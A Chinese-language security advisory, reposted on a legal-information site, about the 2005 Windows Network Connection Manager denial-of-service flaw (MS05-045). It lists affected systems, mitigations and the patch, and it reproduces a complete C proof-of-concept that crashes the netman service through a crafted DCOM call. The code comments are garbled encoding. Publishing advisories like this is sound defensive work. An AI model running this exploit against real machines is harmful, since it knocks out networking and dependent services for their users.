法搜网--搜尽天下法律信息
本站网络实名:法搜
设为首页  |  法搜首页 |  法搜论坛 |  法搜排行榜 |  法律新闻  |  案例

  请您加入我们的"法律聚焦"邮件列表.
  报道法律热门新闻、经典案例分析、法律实事讨论


  
  文章搜索
内 容
类 别
  今日热点

上下班被自行车撞伤纳入工伤
刑法修正案八草案提请审议
男子强奸16女子被注射式死刑
女经理15张信用卡透支24万
绑匪心软偷放女人质后自首
检察院决定不予逮捕

国务院首次明确推进房产税改革
北京中小学取消户籍壁垒
外地生可
免费入学
河南坐11年冤狱农民赵作海获65万...
百度告青岛联通流量劫持案件胜诉

  首页 >> 网络安全 >> 最新漏洞
Microsoft Windows网络连接管理器拒绝服务漏洞(MS05-045)
WWW.FSOU.COM 来源:www.fsou.com 时间:2005-10-21

 
涉及程序:
Microsoft Windows程序
 
描述:
Microsoft Windows网络连接管理器拒绝服务漏洞(MS05-045)
 
详细:
Microsoft Windows是微软发布的非常流行的操作系统,网络连接管理器是其中一个组件,允许控制网络连接。

网络连接管理器服务的netman.dll中存在拒绝服务漏洞。攻击者可以通过发送特制的网络报文导致负责管理网络和远程访问连接的组件停止响应。各种服务,包括Wuauserv、Browser、CryptSvc、TrkWks、dmserver、seclogon、lanmanserver、ShellHWDetection、AudioSrv、WZCSVC、lanmanworkstation等,都可能变得无法访问。

请注意在Windows XP Service Pack 2和Windows Server 2003 Service Pack 1上,攻击者必须拥有有效的登录凭据并能本地登录才能利用此漏洞;在Windows 2000、Windows XP Service Pack 1和Windows Server 2003上,攻击者必须拥有有效的登录凭据才能利用此漏洞,匿名用户无法利用此漏洞。

<*来源:bkbll (bkbll@cnhonker.net

链接:
http://www.microsoft.com/technet/security/Bulletin/MS05-045.mspx
     http://www.us-cert.gov/cas/techalerts/TA05-284A.html
*>

受影响系统:
Microsoft Windows XP SP2
Microsoft Windows XP SP1
Microsoft Windows Server 2003 SP1
Microsoft Windows Server 2003
Microsoft Windows 2000SP4

不受影响系统:
Microsoft Windows ME
Microsoft Windows 98se
Microsoft Windows 98
 
攻击方法:

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

/* Windows Netman Service Local DOS Vulnerability.
*
* By bkbll bkbll#cnhonker.net 2005-7-14 2:49<CF><C2><CE><E7>
*
* TESTED ON win2k sp4
*
* <D2><F2><CE><AA>Netman<CA><C7><CD><A8><B9><FD>svchost.exe -k netsvcs<C6><F4><B6><AF>, <B5><B1><B8><C3><B7><FE><CE><F1><CD><A3><D6><B9><B5><F4><BA><F3>,<C8><E7><CF><C2>
<B7><FE><CE><F1><D2><B2><BD><AB><D6><D0><D6><B9>:
*
* EventSystem,Irmon,RasMan,NtmsSvc,SENS
*
*/
#define _WIN32_DCOM

#include <stdio.h>
#include <stdlib.h>
#include <objbase.h>
#include <unknwn.h>
#include <windows.h>

#pragma comment(lib,"ole32")

MIDL_INTERFACE("98133274-4B20-11D1-AB01-00805FC1270E")
VCConnectionManagerEnumConnection //: public IDispatch
{
public:
     virtual HRESULT STDMETHODCALLTYPE QueryInterface(void) = 0;
     virtual ULONG STDMETHODCALLTYPE AddRef( void) = 0;
     virtual ULONG STDMETHODCALLTYPE Release( void) = 0;
     virtual HRESULT STDMETHODCALLTYPE next(void) = 0;
     virtual HRESULT STDMETHODCALLTYPE skip(DWORD) = 0;
     virtual HRESULT STDMETHODCALLTYPE reset(void) = 0;
     virtual HRESULT STDMETHODCALLTYPE clone(void) = 0;
};
CLSID CLSID_ConnectionManagerEnumConnection = {0x0BA126AD2,0x2166,0x11D1,{0xB1,0xD0, 0x0, 0x80, 0x5F, 0x0C1, 0x27, 0x0E}};
IID IID_IEnumNetConnection = {0xC08956A0,0x1CD3,0x11D1,{0x0B1,0x0C5, 0x0, 0x80, 0x5F, 0x0C1, 0x27, 0x0E}};

//<D6><F7><BA><AF><CA><FD>
main(int argc,char **argv)
{
     VCConnectionManagerEnumConnection *clientcall;
     HRESULT hr;

     printf("Windows Netman Service Local DOS Vulnerability..\n\n");
     //<B3><F5><CA><BC><BB><AF>
     CoInitializeEx(NULL,COINIT_MULTITHREADED);

     printf("DCOM Client Trying started\n");
     hr = CoCreateInstance(CLSID_ConnectionManagerEnumConnection,NULL,CLSCTX_LOCAL_SERVER,IID_IEnumNetConnection,(void**)&clientcall);
     if (hr != S_OK)
     {
           printf("CoCreateInstanceEx failed:%d\n",GetLastError());
           return -1;
     }
     printf("Exploit netman service ....\n");
     hr = clientcall->skip(0x80000001);//(void**)&p);
     if(SUCCEEDED(hr))
     {
           printf("Call client proc Success.\n");
     }
     else
           printf("Call client proc failed:%d\n",GetLastError());
     hr = clientcall->Release();
     CoUninitialize();
     printf("Client exited.\n");
     return 1;
}
 
解决方案:
临时解决方法:

在边界防火墙阻断:
  
* UDP 135, 137, 138和445及TCP 135, 139, 445和593端口
* 大于1024端口上所有未经请求的入站通讯
* 任何其他特定配置的RPC端口
* 在80和443端口上监听的COM Internet Services (CIS)或RPC over HTTP(如果安装了的话)

厂商补丁:

Microsoft
---------
Microsoft已经为此发布了一个安全公告(MS05-045)以及相应补丁:
MS05-045:Vulnerability in Network Connection Manager Could Allow Denial of Service (905414)
链接:http://www.microsoft.com/technet/security/Bulletin/MS05-045.mspx
  相关文章
Microsoft Windows远程桌面协议(RDP)拒绝服务漏洞 (2005.10.21)
Microsoft Windows MSDTC内存破坏漏洞(2005.10.21)
Microsoft Windows CreateFile API命名管道权限提升漏洞(2005.10.21)
 
设为首页  |  法搜首页 |  法搜论坛 |  法搜排行榜 |  关于法搜  |  招聘信息

本站网络实名:法搜 Copyright © 2007 FSou!  京ICP备05006567号不良信息举报中心

1 1